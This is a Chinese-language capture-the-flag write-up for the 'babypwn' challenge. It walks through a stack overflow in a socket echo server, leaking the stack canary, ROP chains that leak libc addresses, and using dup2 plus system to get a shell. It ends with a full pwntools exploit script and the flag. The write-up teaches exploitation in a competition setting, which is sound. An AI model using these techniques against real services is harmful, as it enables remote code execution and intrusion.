Info

Category: pwn
Point: 500->50
Solver: Naetw @ BambooFox
這是這次比賽唯一解出的一題 Orz,最近 BambooFox 打比賽的人越來越少了,自己戰力也不足@@ 分析太慢經驗也太少…

Analyzing

32 bit ELF, Partial RELRO, 有 canary & NX, 沒有 PIE

如同他的名字是一個蠻簡單的題目。有一個明顯的 stack overflow 漏洞,唯一比較麻煩的部分是 socket 的部分,因為這部分還沒學過,也就不多說。只是需要把 fork 出來的 file descriptor 接好。

程式主要功能在 0x08048A71 function 裡,前面都在做 socket 的建置,如果要在 local 端測試的話,會先用 ncat -vc ./babypwn -kl 127.0.0.1 4000 架起來,看了一下 src,我們會先 nc localhost 4000,之後程式就會跑起來,並且把主要功能開在 port 8181,所以一旦 nc localhost 4000 過,之後測試就用 8181 這個 port 來測試就行了。

連上去之後,程式行為很簡單:

===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu > 1
Input Your Message : AAAA
AAAA

===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >

就是一個 echo server,第一直覺以為會是 format string,但是就是簡單的 echo 行為,不過在 echo 時,可以用 overflow 來 leak canary,後面才能利用 ROP 來做事。

overflow

開 ida pro 來看

char buf[40]; // [sp+24h] [bp-34h]@1
...
socket_recv(buf, 100) // socket_recv == 0x08048907

這邊很明顯的 overflow,buf 的開頭距離 ebp 有 52,但是卻可以 input 100 bytes,因此這邊先算好跟 canary 的 offset,然後把 buf 塞成以下樣子:

0xff951f54:     0x41414141      0x41414141      0x41414141      0x41414141
0xff951f64:     0x41414141      0x41414141      0x41414141      0x41414141
0xff951f74:     0x41414141      0x41414141      0x4409b50a      0x00000000

上面的 0x4409b50a 就是 canary,不過因為 canary 的 first byte 都會是 ‘\x00’,因此這邊用 ‘\x0a’ 也就是換行把它蓋著,才能接著把後面的值 dump 出來後,把 ‘\x0a’ 換成 ‘\x00’ => 0x4409b500 就是這個 binary 的 canary。

這邊有了 canary 後就可以繞過 stack guard 的檢查,疊 ROP 來控制 eip 了,不過這邊還是沒辦法開 shell,因為 socket 的 file descriptor 跟 stdin & stdout 不同,所以我們會需要先用 dup2 來讓 stdin & stdout 跟 socket 的 file descriptor 接起來,之後就能開 interactive shell on socket server。

但是要用到 dup2 會需要 libc base,這邊我們先做第一次的 ROP,把 GOT entry 上的 libc function address leak 出來,之後利用 libc database 來找出遠端 server 的 libc 版本,此外我們也要先把 file descriptor leak 出來。

因此這次 ROP 我們 payload 如下:

socket_send = 0x080488B1
pop1 = 0x08048589
sigemptyset_got = 0x0804B048
echo_select = 0x08048A71
fd_address = 0x0804B1B8
rop1 = [socket_send, pop1, sigemptyset_got, 
        socket_send, echo_select, fd_address]
payload = 'A'*40 +      # padding to canary
        p32(canary) +
        'A'*12 +        # padding to return address
        ''.join(map(p32, rop1))

疊完之後,利用 choice 3 - exit 他會用 return 結束,就可以接到我們寫上去的 ROP gadgets 了。

這裡的 socket_send 用的是原本就寫好用來 echo input 的 function,pop1 則是利用 ROPgadget 找到的一個 pop 一次後 ret 的 gadget,而 echo_select 則是上面提到的主要 function 的位址,因為 leak 玩東西之後我們要再做一次 ROP 來使用 dup2 以及開 shell。

這裡他會從 sigemptyset_got 開始 leak 很多 libc function,我拿前面四個到上面說的 libc database 查版本是可以查到的。

拿到 libc base 之後,直接在疊一次 ROP,這次 ROP 會用 dup2 把 stdin & stdout 跟 socket 的 fd 接起來,之後馬上開 shell:

pop2 = 0x08048B84
sh = base + next(libc.search('sh\x00'))
rop2 = [dup2, pop2, fd, 1,
        dup2, pop2, fd, 0,
        system, 0xdeadbeef, sh]
payload = 'A'*40 +      # padding to canary
        p32(canary) +
        'A'*12 +        # padding to return address
        ''.join(map(p32, rop2))

再次利用 choice 3 來 return 到 ROP gadgets 上。

Final Exploit:

#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys

ip = '127.0.0.1'
port = 8181
reip = '110.10.212.130'
report = 8888

r = remote(ip, port)
#r = remote(reip, report)

# Default address & libc setting
echo_select = 0x08048a71
socket_send = 0x080488b1
sigemptyset_got = 0x0804b048
fd = 0x0804b1b8
pop1 = 0x08048589
pop2 = 0x08048b84
bss_buf = 0x0804bfc0
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc.so')

def echo(payload):
    r.recvuntil('>')
    r.sendline('1')
    r.recvuntil(':')
    r.send(payload)

# Leak canary
echo('A' * 40 + '\n')
raw_input('#')
r.recvline()
canary = r.recv(3)
canary = u32('\x00' + canary)
log.info(hex(canary))

# Leak libc function address and File Descripter
rop1 = [socket_send, pop1, sigemptyset_got, socket_send, echo_select, fd]
payload = 'A'*40 + p32(canary) +'A'*12 + ''.join(map(p32, rop1))
echo(payload + '\n')
r.recvuntil('>') 
r.sendline('3') # Use exit to ret to rop
r.recv()
sig = u32(r.recv(4))
listen = u32(r.recv(4))
atoi = u32(r.recv(4))
r.recv()
fd = ord(r.recv(1))
log.info('sigemptyset : ' + hex(sig) + '\n' + 
        'listen : ' + hex(listen) + '\n' +
        'atoi : ' + hex(atoi) + '\n' +
        'fd : ' + hex(fd))
base = atoi - libc.symbols['atoi']
dup2 = base + libc.symbols['dup2']
system = 0x08048620
read = base + libc.symbols['read']
log.info('base : ' + hex(base))
sh = base + next(libc.search('sh\x00'))


# Duplicate fd and stdout & stdin(in order to use shell)
rop2 = [dup2, pop2, fd, 1,
        dup2, pop2, fd, 0,
        system, 0xdeadbeef, sh]
payload = 'A'*40 + p32(canary) + 'A'*12 + ''.join(map(p32, rop2))
echo(payload)

# Use exit to ret to rop2
sleep(0.1)
r.sendline('3')

r.interactive()

FLAG{GoodJob~!Y0u@re_Very__G@@d!!!!!!^.^}

Note

這次題目開了兩個 port,第一個 port 似乎太多人連…導致開 shell 不知道為啥開不起來,同樣的 payload 在第二個 port 十分順利@@